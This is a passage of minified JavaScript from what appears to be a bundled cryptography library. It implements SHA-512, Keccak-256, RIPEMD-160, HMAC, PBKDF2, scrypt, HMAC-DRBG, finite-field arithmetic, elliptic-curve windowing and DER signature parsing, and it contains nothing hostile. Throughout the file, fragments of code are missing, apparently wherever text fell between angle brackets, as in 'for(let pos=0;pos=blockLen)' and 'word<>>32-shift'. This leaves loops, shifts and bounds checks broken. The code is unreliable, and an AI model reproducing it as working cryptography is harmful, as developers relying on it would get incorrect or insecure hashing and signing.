SHA2{constructor(){super(128,64,16,false);this.Ah=1779033703|0;this.Al=4089235720|0;this.Bh=3144134277|0;this.Bl=2227873595|0;this.Ch=1013904242|0;this.Cl=4271175723|0;this.Dh=2773480762|0;this.Dl=1595750129|0;this.Eh=1359893119|0;this.El=2917565137|0;this.Fh=2600822924|0;this.Fl=725511199|0;this.Gh=528734635|0;this.Gl=4215389547|0;this.Hh=1541459225|0;this.Hl=327033209|0}get(){const{Ah,Al,Bh,Bl,Ch,Cl,Dh,Dl,Eh,El,Fh,Fl,Gh,Gl,Hh,Hl}=this;return[Ah,Al,Bh,Bl,Ch,Cl,Dh,Dl,Eh,El,Fh,Fl,Gh,Gl,Hh,Hl]}set(Ah,Al,Bh,Bl,Ch,Cl,Dh,Dl,Eh,El,Fh,Fl,Gh,Gl,Hh,Hl){this.Ah=Ah|0;this.Al=Al|0;this.Bh=Bh|0;this.Bl=Bl|0;this.Ch=Ch|0;this.Cl=Cl|0;this.Dh=Dh|0;this.Dl=Dl|0;this.Eh=Eh|0;this.El=El|0;this.Fh=Fh|0;this.Fl=Fl|0;this.Gh=Gh|0;this.Gl=Gl|0;this.Hh=Hh|0;this.Hl=Hl|0}process(view,offset){for(let i=0;i<16;i++,offset+=4){SHA512_W_H[i]=view.getUint32(offset);SHA512_W_L[i]=view.getUint32(offset+=4)}for(let i=16;i<80;i++){const W15h=SHA512_W_H[i-15]|0;const W15l=SHA512_W_L[i-15]|0;const s0h=u64.rotrSH(W15h,W15l,1)^u64.rotrSH(W15h,W15l,8)^u64.shrSH(W15h,W15l,7);const s0l=u64.rotrSL(W15h,W15l,1)^u64.rotrSL(W15h,W15l,8)^u64.shrSL(W15h,W15l,7);const W2h=SHA512_W_H[i-2]|0;const W2l=SHA512_W_L[i-2]|0;const s1h=u64.rotrSH(W2h,W2l,19)^u64.rotrBH(W2h,W2l,61)^u64.shrSH(W2h,W2l,6);const s1l=u64.rotrSL(W2h,W2l,19)^u64.rotrBL(W2h,W2l,61)^u64.shrSL(W2h,W2l,6);const SUMl=u64.add4L(s0l,s1l,SHA512_W_L[i-7],SHA512_W_L[i-16]);const SUMh=u64.add4H(SUMl,s0h,s1h,SHA512_W_H[i-7],SHA512_W_H[i-16]);SHA512_W_H[i]=SUMh|0;SHA512_W_L[i]=SUMl|0}let{Ah,Al,Bh,Bl,Ch,Cl,Dh,Dl,Eh,El,Fh,Fl,Gh,Gl,Hh,Hl}=this;for(let i=0;i<80;i++){const sigma1h=u64.rotrSH(Eh,El,14)^u64.rotrSH(Eh,El,18)^u64.rotrBH(Eh,El,41);const sigma1l=u64.rotrSL(Eh,El,14)^u64.rotrSL(Eh,El,18)^u64.rotrBL(Eh,El,41);const CHIh=Eh&Fh^~Eh&Gh;const CHIl=El&Fl^~El&Gl;const T1ll=u64.add5L(Hl,sigma1l,CHIl,SHA512_Kl[i],SHA512_W_L[i]);const T1h=u64.add5H(T1ll,Hh,sigma1h,CHIh,SHA512_Kh[i],SHA512_W_H[i]);const T1l=T1ll|0;const sigma0h=u64.rotrSH(Ah,Al,28)^u64.rotrBH(Ah,Al,34)^u64.rotrBH(Ah,Al,39);const sigma0l=u64.rotrSL(Ah,Al,28)^u64.rotrBL(Ah,Al,34)^u64.rotrBL(Ah,Al,39);const MAJh=Ah&Bh^Ah&Ch^Bh&Ch;const MAJl=Al&Bl^Al&Cl^Bl&Cl;Hh=Gh|0;Hl=Gl|0;Gh=Fh|0;Gl=Fl|0;Fh=Eh|0;Fl=El|0;({h:Eh,l:El}=u64.add(Dh|0,Dl|0,T1h|0,T1l|0));Dh=Ch|0;Dl=Cl|0;Ch=Bh|0;Cl=Bl|0;Bh=Ah|0;Bl=Al|0;const All=u64.add3L(T1l,sigma0l,MAJl);Ah=u64.add3H(All,T1h,sigma0h,MAJh);Al=All|0}({h:Ah,l:Al}=u64.add(this.Ah|0,this.Al|0,Ah|0,Al|0));({h:Bh,l:Bl}=u64.add(this.Bh|0,this.Bl|0,Bh|0,Bl|0));({h:Ch,l:Cl}=u64.add(this.Ch|0,this.Cl|0,Ch|0,Cl|0));({h:Dh,l:Dl}=u64.add(this.Dh|0,this.Dl|0,Dh|0,Dl|0));({h:Eh,l:El}=u64.add(this.Eh|0,this.El|0,Eh|0,El|0));({h:Fh,l:Fl}=u64.add(this.Fh|0,this.Fl|0,Fh|0,Fl|0));({h:Gh,l:Gl}=u64.add(this.Gh|0,this.Gl|0,Gh|0,Gl|0));({h:Hh,l:Hl}=u64.add(this.Hh|0,this.Hl|0,Hh|0,Hl|0));this.set(Ah,Al,Bh,Bl,Ch,Cl,Dh,Dl,Eh,El,Fh,Fl,Gh,Gl,Hh,Hl)}roundClean(){SHA512_W_H.fill(0);SHA512_W_L.fill(0)}destroy(){this.buffer.fill(0);this.set(0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0)}}const sha512$1=wrapConstructor(()=>new SHA512);function getGlobal$1(){if(typeof self!=="undefined"){return self}if(typeof window!=="undefined"){return window}if(typeof global!=="undefined"){return global}throw new Error("unable to locate global object")}const anyGlobal=getGlobal$1();const crypto=anyGlobal.crypto||anyGlobal.msCrypto;function createHash(algo){switch(algo){case"sha256":return sha256$1.create();case"sha512":return sha512$1.create()}assertArgument(false,"invalid hashing algorithm name","algorithm",algo)}function createHmac(_algo,key){const algo={sha256:sha256$1,sha512:sha512$1}[_algo];assertArgument(algo!=null,"invalid hmac algorithm","algorithm",_algo);return hmac.create(algo,key)}function pbkdf2Sync(password,salt,iterations,keylen,_algo){const algo={sha256:sha256$1,sha512:sha512$1}[_algo];assertArgument(algo!=null,"invalid pbkdf2 algorithm","algorithm",_algo);return pbkdf2$1(algo,password,salt,{c:iterations,dkLen:keylen})}function randomBytes$1(length){assert(crypto!=null,"platform does not support secure random numbers","UNSUPPORTED_OPERATION",{operation:"randomBytes"});assertArgument(Number.isInteger(length)&&length>0&&length<=1024,"invalid length","length",length);const result=new Uint8Array(length);crypto.getRandomValues(result);return result}let locked$4=false;const _computeHmac=function(algorithm,key,data){return createHmac(algorithm,key).update(data).digest()};let __computeHmac=_computeHmac;function computeHmac(algorithm,_key,_data){const key=getBytes(_key,"key");const data=getBytes(_data,"data");return hexlify(__computeHmac(algorithm,key,data))}computeHmac._=_computeHmac;computeHmac.lock=function(){locked$4=true};computeHmac.register=function(func){if(locked$4){throw new Error("computeHmac is locked")}__computeHmac=func};Object.freeze(computeHmac);const[SHA3_PI,SHA3_ROTL,_SHA3_IOTA]=[[],[],[]];const _0n$4=BigInt(0);const _1n$5=BigInt(1);const _2n$3=BigInt(2);const _7n=BigInt(7);const _256n=BigInt(256);const _0x71n=BigInt(113);for(let round=0,R=_1n$5,x=1,y=0;round<24;round++){[x,y]=[y,(2*x+3*y)%5];SHA3_PI.push(2*(5*y+x));SHA3_ROTL.push((round+1)*(round+2)/2%64);let t=_0n$4;for(let j=0;j<7;j++){R=(R<<_1n$5^(R>>_7n)*_0x71n)%_256n;if(R&_2n$3)t^=_1n$5<<(_1n$5<s>32?rotlBH(h,l,s):rotlSH(h,l,s);const rotlL=(h,l,s)=>s>32?rotlBL(h,l,s):rotlSL(h,l,s);function keccakP(s,rounds=24){const B=new Uint32Array(5*2);for(let round=24-rounds;round<24;round++){for(let x=0;x<10;x++)B[x]=s[x]^s[x+10]^s[x+20]^s[x+30]^s[x+40];for(let x=0;x<10;x+=2){const idx1=(x+8)%10;const idx0=(x+2)%10;const B0=B[idx0];const B1=B[idx0+1];const Th=rotlH(B0,B1,1)^B[idx1];const Tl=rotlL(B0,B1,1)^B[idx1+1];for(let y=0;y<50;y+=10){s[x+y]^=Th;s[x+y+1]^=Tl}}let curH=s[2];let curL=s[3];for(let t=0;t<24;t++){const shift=SHA3_ROTL[t];const Th=rotlH(curH,curL,shift);const Tl=rotlL(curH,curL,shift);const PI=SHA3_PI[t];curH=s[PI];curL=s[PI+1];s[PI]=Th;s[PI+1]=Tl}for(let y=0;y<50;y+=10){for(let x=0;x<10;x++)B[x]=s[y+x];for(let x=0;x<10;x++)s[y+x]^=~B[(x+2)%10]&B[(x+4)%10]}s[0]^=SHA3_IOTA_H[round];s[1]^=SHA3_IOTA_L[round]}B.fill(0)}class Keccak extends Hash{constructor(blockLen,suffix,outputLen,enableXOF=false,rounds=24){super();this.blockLen=blockLen;this.suffix=suffix;this.outputLen=outputLen;this.enableXOF=enableXOF;this.rounds=rounds;this.pos=0;this.posOut=0;this.finished=false;this.destroyed=false;number(outputLen);if(0>=this.blockLen||this.blockLen>=200)throw new Error("Sha3 supports only keccak-f1600 function");this.state=new Uint8Array(200);this.state32=u32(this.state)}keccak(){keccakP(this.state32,this.rounds);this.posOut=0;this.pos=0}update(data){exists(this);const{blockLen,state}=this;data=toBytes(data);const len=data.length;for(let pos=0;pos=blockLen)this.keccak();const take=Math.min(blockLen-this.posOut,len-pos);out.set(bufferOut.subarray(this.posOut,this.posOut+take),pos);this.posOut+=take;pos+=take}return out}xofInto(out){if(!this.enableXOF)throw new Error("XOF is not possible for this instance");return this.writeInto(out)}xof(bytes){number(bytes);return this.xofInto(new Uint8Array(bytes))}digestInto(out){output(out,this);if(this.finished)throw new Error("digest() was already called");this.writeInto(out);this.destroy();return out}digest(){return this.digestInto(new Uint8Array(this.outputLen))}destroy(){this.destroyed=true;this.state.fill(0)}_cloneInto(to){const{blockLen,suffix,outputLen,rounds,enableXOF}=this;to||(to=new Keccak(blockLen,suffix,outputLen,enableXOF,rounds));to.state32.set(this.state32);to.pos=this.pos;to.posOut=this.posOut;to.finished=this.finished;to.rounds=rounds;to.suffix=suffix;to.outputLen=outputLen;to.enableXOF=enableXOF;to.destroyed=this.destroyed;return to}}const gen=(suffix,blockLen,outputLen)=>wrapConstructor(()=>new Keccak(blockLen,suffix,outputLen));const keccak_256=gen(1,136,256/8);let locked$3=false;const _keccak256=function(data){return keccak_256(data)};let __keccak256=_keccak256;function keccak256(_data){const data=getBytes(_data,"data");return hexlify(__keccak256(data))}keccak256._=_keccak256;keccak256.lock=function(){locked$3=true};keccak256.register=function(func){if(locked$3){throw new TypeError("keccak256 is locked")}__keccak256=func};Object.freeze(keccak256);const Rho=new Uint8Array([7,4,13,1,10,6,15,3,12,0,9,5,2,14,11,8]);const Id=Uint8Array.from({length:16},(_,i)=>i);const Pi=Id.map(i=>(9*i+5)%16);let idxL=[Id];let idxR=[Pi];for(let i=0;i<4;i++)for(let j of[idxL,idxR])j.push(j[i].map(k=>Rho[k]));const shifts=[[11,14,15,12,5,8,7,9,11,13,14,15,6,7,9,8],[12,13,11,15,6,9,9,7,12,15,11,13,7,8,7,7],[13,15,14,11,7,7,6,8,13,14,13,12,5,5,6,9],[14,11,12,14,8,6,5,5,15,12,15,14,9,9,8,6],[15,12,13,13,9,5,8,6,14,11,12,11,8,6,5,5]].map(i=>new Uint8Array(i));const shiftsL=idxL.map((idx,i)=>idx.map(j=>shifts[i][j]));const shiftsR=idxR.map((idx,i)=>idx.map(j=>shifts[i][j]));const Kl=new Uint32Array([0,1518500249,1859775393,2400959708,2840853838]);const Kr=new Uint32Array([1352829926,1548603684,1836072691,2053994217,0]);const rotl$1=(word,shift)=>word<>>32-shift;function f(group,x,y,z){if(group===0)return x^y^z;else if(group===1)return x&y|~x&z;else if(group===2)return(x|~y)^z;else if(group===3)return x&z|y&~z;else return x^(y|~z)}const BUF=new Uint32Array(16);class RIPEMD160 extends SHA2{constructor(){super(64,20,8,true);this.h0=1732584193|0;this.h1=4023233417|0;this.h2=2562383102|0;this.h3=271733878|0;this.h4=3285377520|0}get(){const{h0,h1,h2,h3,h4}=this;return[h0,h1,h2,h3,h4]}set(h0,h1,h2,h3,h4){this.h0=h0|0;this.h1=h1|0;this.h2=h2|0;this.h3=h3|0;this.h4=h4|0}process(view,offset){for(let i=0;i<16;i++,offset+=4)BUF[i]=view.getUint32(offset,true);let al=this.h0|0,ar=al,bl=this.h1|0,br=bl,cl=this.h2|0,cr=cl,dl=this.h3|0,dr=dl,el=this.h4|0,er=el;for(let group=0;group<5;group++){const rGroup=4-group;const hbl=Kl[group],hbr=Kr[group];const rl=idxL[group],rr=idxR[group];const sl=shiftsL[group],sr=shiftsR[group];for(let i=0;i<16;i++){const tl=rotl$1(al+f(group,bl,cl,dl)+BUF[rl[i]]+hbl,sl[i])+el|0;al=el,el=dl,dl=rotl$1(cl,10)|0,cl=bl,bl=tl}for(let i=0;i<16;i++){const tr=rotl$1(ar+f(rGroup,br,cr,dr)+BUF[rr[i]]+hbr,sr[i])+er|0;ar=er,er=dr,dr=rotl$1(cr,10)|0,cr=br,br=tr}}this.set(this.h1+cl+dr|0,this.h2+dl+er|0,this.h3+el+ar|0,this.h4+al+br|0,this.h0+bl+cr|0)}roundClean(){BUF.fill(0)}destroy(){this.destroyed=true;this.buffer.fill(0);this.set(0,0,0,0,0)}}const ripemd160$1=wrapConstructor(()=>new RIPEMD160);let locked$2=false;const _ripemd160=function(data){return ripemd160$1(data)};let __ripemd160=_ripemd160;function ripemd160(_data){const data=getBytes(_data,"data");return hexlify(__ripemd160(data))}ripemd160._=_ripemd160;ripemd160.lock=function(){locked$2=true};ripemd160.register=function(func){if(locked$2){throw new TypeError("ripemd160 is locked")}__ripemd160=func};Object.freeze(ripemd160);let locked$1=false;const _pbkdf2=function(password,salt,iterations,keylen,algo){return pbkdf2Sync(password,salt,iterations,keylen,algo)};let __pbkdf2=_pbkdf2;function pbkdf2(_password,_salt,iterations,keylen,algo){const password=getBytes(_password,"password");const salt=getBytes(_salt,"salt");return hexlify(__pbkdf2(password,salt,iterations,keylen,algo))}pbkdf2._=_pbkdf2;pbkdf2.lock=function(){locked$1=true};pbkdf2.register=function(func){if(locked$1){throw new Error("pbkdf2 is locked")}__pbkdf2=func};Object.freeze(pbkdf2);let locked=false;const _randomBytes=function(length){return new Uint8Array(randomBytes$1(length))};let __randomBytes=_randomBytes;function randomBytes(length){return __randomBytes(length)}randomBytes._=_randomBytes;randomBytes.lock=function(){locked=true};randomBytes.register=function(func){if(locked){throw new Error("randomBytes is locked")}__randomBytes=func};Object.freeze(randomBytes);const rotl=(a,b)=>a<>>32-b;function XorAndSalsa(prev,pi,input,ii,out,oi){let y00=prev[pi++]^input[ii++],y01=prev[pi++]^input[ii++];let y02=prev[pi++]^input[ii++],y03=prev[pi++]^input[ii++];let y04=prev[pi++]^input[ii++],y05=prev[pi++]^input[ii++];let y06=prev[pi++]^input[ii++],y07=prev[pi++]^input[ii++];let y08=prev[pi++]^input[ii++],y09=prev[pi++]^input[ii++];let y10=prev[pi++]^input[ii++],y11=prev[pi++]^input[ii++];let y12=prev[pi++]^input[ii++],y13=prev[pi++]^input[ii++];let y14=prev[pi++]^input[ii++],y15=prev[pi++]^input[ii++];let x00=y00,x01=y01,x02=y02,x03=y03,x04=y04,x05=y05,x06=y06,x07=y07,x08=y08,x09=y09,x10=y10,x11=y11,x12=y12,x13=y13,x14=y14,x15=y15;for(let i=0;i<8;i+=2){x04^=rotl(x00+x12|0,7);x08^=rotl(x04+x00|0,9);x12^=rotl(x08+x04|0,13);x00^=rotl(x12+x08|0,18);x09^=rotl(x05+x01|0,7);x13^=rotl(x09+x05|0,9);x01^=rotl(x13+x09|0,13);x05^=rotl(x01+x13|0,18);x14^=rotl(x10+x06|0,7);x02^=rotl(x14+x10|0,9);x06^=rotl(x02+x14|0,13);x10^=rotl(x06+x02|0,18);x03^=rotl(x15+x11|0,7);x07^=rotl(x03+x15|0,9);x11^=rotl(x07+x03|0,13);x15^=rotl(x11+x07|0,18);x01^=rotl(x00+x03|0,7);x02^=rotl(x01+x00|0,9);x03^=rotl(x02+x01|0,13);x00^=rotl(x03+x02|0,18);x06^=rotl(x05+x04|0,7);x07^=rotl(x06+x05|0,9);x04^=rotl(x07+x06|0,13);x05^=rotl(x04+x07|0,18);x11^=rotl(x10+x09|0,7);x08^=rotl(x11+x10|0,9);x09^=rotl(x08+x11|0,13);x10^=rotl(x09+x08|0,18);x12^=rotl(x15+x14|0,7);x13^=rotl(x12+x15|0,9);x14^=rotl(x13+x12|0,13);x15^=rotl(x14+x13|0,18)}out[oi++]=y00+x00|0;out[oi++]=y01+x01|0;out[oi++]=y02+x02|0;out[oi++]=y03+x03|0;out[oi++]=y04+x04|0;out[oi++]=y05+x05|0;out[oi++]=y06+x06|0;out[oi++]=y07+x07|0;out[oi++]=y08+x08|0;out[oi++]=y09+x09|0;out[oi++]=y10+x10|0;out[oi++]=y11+x11|0;out[oi++]=y12+x12|0;out[oi++]=y13+x13|0;out[oi++]=y14+x14|0;out[oi++]=y15+x15|0}function BlockMix(input,ii,out,oi,r){let head=oi+0;let tail=oi+16*r;for(let i=0;i<16;i++)out[tail+i]=input[ii+(2*r-1)*16+i];for(let i=0;i0)tail+=16;XorAndSalsa(out,head,input,ii+=16,out,tail)}}function scryptInit(password,salt,_opts){const opts=checkOpts({dkLen:32,asyncTick:10,maxmem:1024**3+1024},_opts);const{N,r,p,dkLen,asyncTick,maxmem,onProgress}=opts;number(N);number(r);number(p);number(dkLen);number(asyncTick);number(maxmem);if(onProgress!==undefined&&typeof onProgress!=="function")throw new Error("progressCb should be function");const blockSize=128*r;const blockSize32=blockSize/4;if(N<=1||(N&N-1)!==0||N>=2**(blockSize/8)||N>2**32){throw new Error("Scrypt: N must be larger than 1, a power of 2, less than 2^(128 * r / 8) and less than 2^32")}if(p<0||p>(2**32-1)*32/blockSize){throw new Error("Scrypt: p must be a positive integer less than or equal to ((2^32 - 1) * 32) / (128 * r)")}if(dkLen<0||dkLen>(2**32-1)*32){throw new Error("Scrypt: dkLen should be positive integer less than or equal to (2^32 - 1) * 32")}const memUsed=blockSize*(N+p);if(memUsed>maxmem){throw new Error(`Scrypt: parameters too large, ${memUsed} (128 * r * (N + p)) > ${maxmem} (maxmem)`)}const B=pbkdf2$1(sha256$1,password,salt,{c:1,dkLen:blockSize*p});const B32=u32(B);const V=u32(new Uint8Array(blockSize*N));const tmp=u32(new Uint8Array(blockSize));let blockMixCb=()=>{};if(onProgress){const totalBlockMix=2*N*p;const callbackPer=Math.max(Math.floor(totalBlockMix/1e4),1);let blockMixCnt=0;blockMixCb=()=>{blockMixCnt++;if(onProgress&&(!(blockMixCnt%callbackPer)||blockMixCnt===totalBlockMix))onProgress(blockMixCnt/totalBlockMix)}}return{N:N,r:r,p:p,dkLen:dkLen,blockSize32:blockSize32,V:V,B32:B32,B:B,tmp:tmp,blockMixCb:blockMixCb,asyncTick:asyncTick}}function scryptOutput(password,dkLen,B,V,tmp){const res=pbkdf2$1(sha256$1,password,B,{c:1,dkLen:dkLen});B.fill(0);V.fill(0);tmp.fill(0);return res}function scrypt$1(password,salt,opts){const{N,r,p,dkLen,blockSize32,V,B32,B,tmp,blockMixCb}=scryptInit(password,salt,opts);for(let pi=0;pi{BlockMix(V,pos,V,pos+=blockSize32,r);blockMixCb()});BlockMix(V,(N-1)*blockSize32,B32,Pi,r);blockMixCb();await asyncLoop(N,asyncTick,()=>{const j=B32[Pi+blockSize32-16]%N;for(let k=0;ka instanceof Uint8Array;const hexes=Array.from({length:256},(_,i)=>i.toString(16).padStart(2,"0"));function bytesToHex(bytes){if(!u8a(bytes))throw new Error("Uint8Array expected");let hex="";for(let i=0;isum+a.length,0));let pad=0;arrays.forEach(a=>{if(!u8a(a))throw new Error("Uint8Array expected");r.set(a,pad);pad+=a.length});return r}function equalBytes(b1,b2){if(b1.length!==b2.length)return false;for(let i=0;i_0n$3;n>>=_1n$4,len+=1);return len}function bitGet(n,pos){return n>>BigInt(pos)&_1n$4}const bitSet=(n,pos,value)=>{return n|(value?_1n$4:_0n$3)<(_2n$2<new Uint8Array(data);const u8fr=arr=>Uint8Array.from(arr);function createHmacDrbg(hashLen,qByteLen,hmacFn){if(typeof hashLen!=="number"||hashLen<2)throw new Error("hashLen must be a number");if(typeof qByteLen!=="number"||qByteLen<2)throw new Error("qByteLen must be a number");if(typeof hmacFn!=="function")throw new Error("hmacFn must be a function");let v=u8n(hashLen);let k=u8n(hashLen);let i=0;const reset=()=>{v.fill(1);k.fill(0);i=0};const h=(...b)=>hmacFn(k,v,...b);const reseed=(seed=u8n())=>{k=h(u8fr([0]),seed);v=h();if(seed.length===0)return;k=h(u8fr([1]),seed);v=h()};const gen=()=>{if(i++>=1e3)throw new Error("drbg: tried 1000 values");let len=0;const out=[];while(len{reset();reseed(seed);let res=undefined;while(!(res=pred(gen())))reseed();reset();return res};return genUntil}const validatorFns={bigint:val=>typeof val==="bigint",function:val=>typeof val==="function",boolean:val=>typeof val==="boolean",string:val=>typeof val==="string",stringOrUint8Array:val=>typeof val==="string"||val instanceof Uint8Array,isSafeInteger:val=>Number.isSafeInteger(val),array:val=>Array.isArray(val),field:(val,object)=>object.Fp.isValid(val),hash:val=>typeof val==="function"&&Number.isSafeInteger(val.outputLen)};function validateObject(object,validators,optValidators={}){const checkField=(fieldName,type,isOptional)=>{const checkVal=validatorFns[type];if(typeof checkVal!=="function")throw new Error(`Invalid validator "${type}", expected function`);const val=object[fieldName];if(isOptional&&val===undefined)return;if(!checkVal(val,object)){throw new Error(`Invalid param ${String(fieldName)}=${val} (${typeof val}), expected ${type}`)}};for(const[fieldName,type]of Object.entries(validators))checkField(fieldName,type,false);for(const[fieldName,type]of Object.entries(optValidators))checkField(fieldName,type,true);return object}var ut=Object.freeze({__proto__:null,bitGet:bitGet,bitLen:bitLen,bitMask:bitMask,bitSet:bitSet,bytesToHex:bytesToHex,bytesToNumberBE:bytesToNumberBE,bytesToNumberLE:bytesToNumberLE,concatBytes:concatBytes,createHmacDrbg:createHmacDrbg,ensureBytes:ensureBytes,equalBytes:equalBytes,hexToBytes:hexToBytes,hexToNumber:hexToNumber,numberToBytesBE:numberToBytesBE,numberToBytesLE:numberToBytesLE,numberToHexUnpadded:numberToHexUnpadded,numberToVarBytesBE:numberToVarBytesBE,utf8ToBytes:utf8ToBytes,validateObject:validateObject});const _0n$2=BigInt(0),_1n$3=BigInt(1),_2n$1=BigInt(2),_3n$1=BigInt(3);const _4n=BigInt(4),_5n=BigInt(5),_8n=BigInt(8);BigInt(9);BigInt(16);function mod(a,b){const result=a%b;return result>=_0n$2?result:b+result}function pow(num,power,modulo){if(modulo<=_0n$2||power<_0n$2)throw new Error("Expected power/modulo > 0");if(modulo===_1n$3)return _0n$2;let res=_1n$3;while(power>_0n$2){if(power&_1n$3)res=res*num%modulo;num=num*num%modulo;power>>=_1n$3}return res}function pow2(x,power,modulo){let res=x;while(power-- >_0n$2){res*=res;res%=modulo}return res}function invert(number,modulo){if(number===_0n$2||modulo<=_0n$2){throw new Error(`invert: expected positive integers, got n=${number} mod=${modulo}`)}let a=mod(number,modulo);let b=modulo;let x=_0n$2,u=_1n$3;while(a!==_0n$2){const q=b/a;const r=b%a;const m=x-u*q;b=a,a=r,x=u,u=m}const gcd=b;if(gcd!==_1n$3)throw new Error("invert: does not exist");return mod(x,modulo)}function tonelliShanks(P){const legendreC=(P-_1n$3)/_2n$1;let Q,S,Z;for(Q=P-_1n$3,S=0;Q%_2n$1===_0n$2;Q/=_2n$1,S++);for(Z=_2n$1;Z{map[val]="function";return map},initial);return validateObject(field,opts)}function FpPow(f,num,power){if(power<_0n$2)throw new Error("Expected power > 0");if(power===_0n$2)return f.ONE;if(power===_1n$3)return num;let p=f.ONE;let d=num;while(power>_0n$2){if(power&_1n$3)p=f.mul(p,d);d=f.sqr(d);power>>=_1n$3}return p}function FpInvertBatch(f,nums){const tmp=new Array(nums.length);const lastMultiplied=nums.reduce((acc,num,i)=>{if(f.is0(num))return acc;tmp[i]=acc;return f.mul(acc,num)},f.ONE);const inverted=f.inv(lastMultiplied);nums.reduceRight((acc,num,i)=>{if(f.is0(num))return acc;tmp[i]=f.mul(acc,tmp[i]);return f.mul(acc,num)},inverted);return tmp}function nLength(n,nBitLength){const _nBitLength=nBitLength!==undefined?nBitLength:n.toString(2).length;const nByteLength=Math.ceil(_nBitLength/8);return{nBitLength:_nBitLength,nByteLength:nByteLength}}function Field(ORDER,bitLen,isLE=false,redef={}){if(ORDER<=_0n$2)throw new Error(`Expected Field ORDER > 0, got ${ORDER}`);const{nBitLength:BITS,nByteLength:BYTES}=nLength(ORDER,bitLen);if(BYTES>2048)throw new Error("Field lengths over 2048 bytes are not supported");const sqrtP=FpSqrt(ORDER);const f=Object.freeze({ORDER:ORDER,BITS:BITS,BYTES:BYTES,MASK:bitMask(BITS),ZERO:_0n$2,ONE:_1n$3,create:num=>mod(num,ORDER),isValid:num=>{if(typeof num!=="bigint")throw new Error(`Invalid field element: expected bigint, got ${typeof num}`);return _0n$2<=num&&numnum===_0n$2,isOdd:num=>(num&_1n$3)===_1n$3,neg:num=>mod(-num,ORDER),eql:(lhs,rhs)=>lhs===rhs,sqr:num=>mod(num*num,ORDER),add:(lhs,rhs)=>mod(lhs+rhs,ORDER),sub:(lhs,rhs)=>mod(lhs-rhs,ORDER),mul:(lhs,rhs)=>mod(lhs*rhs,ORDER),pow:(num,power)=>FpPow(f,num,power),div:(lhs,rhs)=>mod(lhs*invert(rhs,ORDER),ORDER),sqrN:num=>num*num,addN:(lhs,rhs)=>lhs+rhs,subN:(lhs,rhs)=>lhs-rhs,mulN:(lhs,rhs)=>lhs*rhs,inv:num=>invert(num,ORDER),sqrt:redef.sqrt||(n=>sqrtP(f,n)),invertBatch:lst=>FpInvertBatch(f,lst),cmov:(a,b,c)=>c?b:a,toBytes:num=>isLE?numberToBytesLE(num,BYTES):numberToBytesBE(num,BYTES),fromBytes:bytes=>{if(bytes.length!==BYTES)throw new Error(`Fp.fromBytes: expected ${BYTES}, got ${bytes.length}`);return isLE?bytesToNumberLE(bytes):bytesToNumberBE(bytes)}});return Object.freeze(f)}function getFieldBytesLength(fieldOrder){if(typeof fieldOrder!=="bigint")throw new Error("field order must be bigint");const bitLength=fieldOrder.toString(2).length;return Math.ceil(bitLength/8)}function getMinHashLength(fieldOrder){const length=getFieldBytesLength(fieldOrder);return length+Math.ceil(length/2)}function mapHashToField(key,fieldOrder,isLE=false){const len=key.length;const fieldLen=getFieldBytesLength(fieldOrder);const minLen=getMinHashLength(fieldOrder);if(len<16||len1024)throw new Error(`expected ${minLen}-1024 bytes of input, got ${len}`);const num=isLE?bytesToNumberBE(key):bytesToNumberLE(key);const reduced=mod(num,fieldOrder-_1n$3)+_1n$3;return isLE?numberToBytesLE(reduced,fieldLen):numberToBytesBE(reduced,fieldLen)}const _0n$1=BigInt(0);const _1n$2=BigInt(1);function wNAF(c,bits){const constTimeNegate=(condition,item)=>{const neg=item.negate();return condition?neg:item};const opts=W=>{const windows=Math.ceil(bits/W)+1;const windowSize=2**(W-1);return{windows:windows,windowSize:windowSize}};return{constTimeNegate:constTimeNegate,unsafeLadder(elm,n){let p=c.ZERO;let d=elm;while(n>_0n$1){if(n&_1n$2)p=p.add(d);d=d.double();n>>=_1n$2}return p},precomputeWindow(elm,W){const{windows,windowSize}=opts(W);const points=[];let p=elm;let base=p;for(let window=0;window>=shiftBy;if(wbits>windowSize){wbits-=maxNumber;n+=_1n$2}const offset1=offset;const offset2=offset+Math.abs(wbits)-1;const cond1=window%2!==0;const cond2=wbits<0;if(wbits===0){f=f.add(constTimeNegate(cond1,precomputes[offset1]))}else{p=p.add(constTimeNegate(cond2,precomputes[offset2]))}}return{p:p,f:f}},wNAFCached(P,precomputesMap,n,transform){const W=P._WINDOW_SIZE||1;let comp=precomputesMap.get(P);if(!comp){comp=this.precomputeWindow(P,W);if(W!==1){precomputesMap.set(P,transform(comp))}}return this.wNAF(W,comp,n)}}}function validateBasic(curve){validateField(curve.Fp);validateObject(curve,{n:"bigint",h:"bigint",Gx:"field",Gy:"field"},{nBitLength:"isSafeInteger",nByteLength:"isSafeInteger"});return Object.freeze({...nLength(curve.n,curve.nBitLength),...curve,...{p:curve.Fp.ORDER}})}function validatePointOpts(curve){const opts=validateBasic(curve);validateObject(opts,{a:"field",b:"field"},{allowedPrivateKeyLengths:"array",wrapPrivateKey:"boolean",isTorsionFree:"function",clearCofactor:"function",allowInfinityPoint:"boolean",fromBytes:"function",toBytes:"function"});const{endo,Fp,a}=opts;if(endo){if(!Fp.eql(a,Fp.ZERO)){throw new Error("Endomorphism can only be defined for Koblitz curves that have a=0")}if(typeof endo!=="object"||typeof endo.beta!=="bigint"||typeof endo.splitScalar!=="function"){throw new Error("Expected endomorphism with beta: bigint and splitScalar: function")}}return Object.freeze({...opts})}const{bytesToNumberBE:b2n,hexToBytes:h2b}=ut;const DER={Err:class DERErr extends Error{constructor(m=""){super(m)}},_parseInt(data){const{Err:E}=DER;if(data.length<2||data[0]!==2)throw new E("Invalid signature integer tag");const len=data[1];const res=data.subarray(2,len+2);if(!len||res.length!==len)throw new E("Invalid signature integer: wrong length");if(res[0]&128)throw new E("Invalid signature integer: negative");if(res[0]===0&&!(res[1]&128))throw new E("Invalid signature integer: unnecessary leading zero");return{d:b2n(res),l:data.subarray(len+2)}},toSig(hex){const{Err:E}=DER;const data=typeof hex==="string"?h2b(hex):hex;if(!(data instanceof Uint8Array))throw new Error("ui8a expected");let l=data.length;if(l<2||data[0]!=48)throw new E("Invalid signature tag");if(data[1]!==l-2)throw new E("Invalid signature: incorrect length");const{d:r,l:sBytes}=DER._parseInt(data.subarray(2));const{d:s,l:rBytesLeft}=DER._parseInt(sBytes);if(rBytesLeft.length)throw new E("Invalid signature: left bytes after parsing");return{r:r,s:s}},hexFromSig(sig){const slice=s=>Number.parseInt(s[0],16)&8?"00"+s:s;const h=num=>{const hex=num.toString(16);return hex.length&1?`0${hex}`:hex};const s=slice(h(sig.s));const r=slice(h(sig.r));const shl=s.length/2;const rhl=r.length/2;const sl=h(shl);const 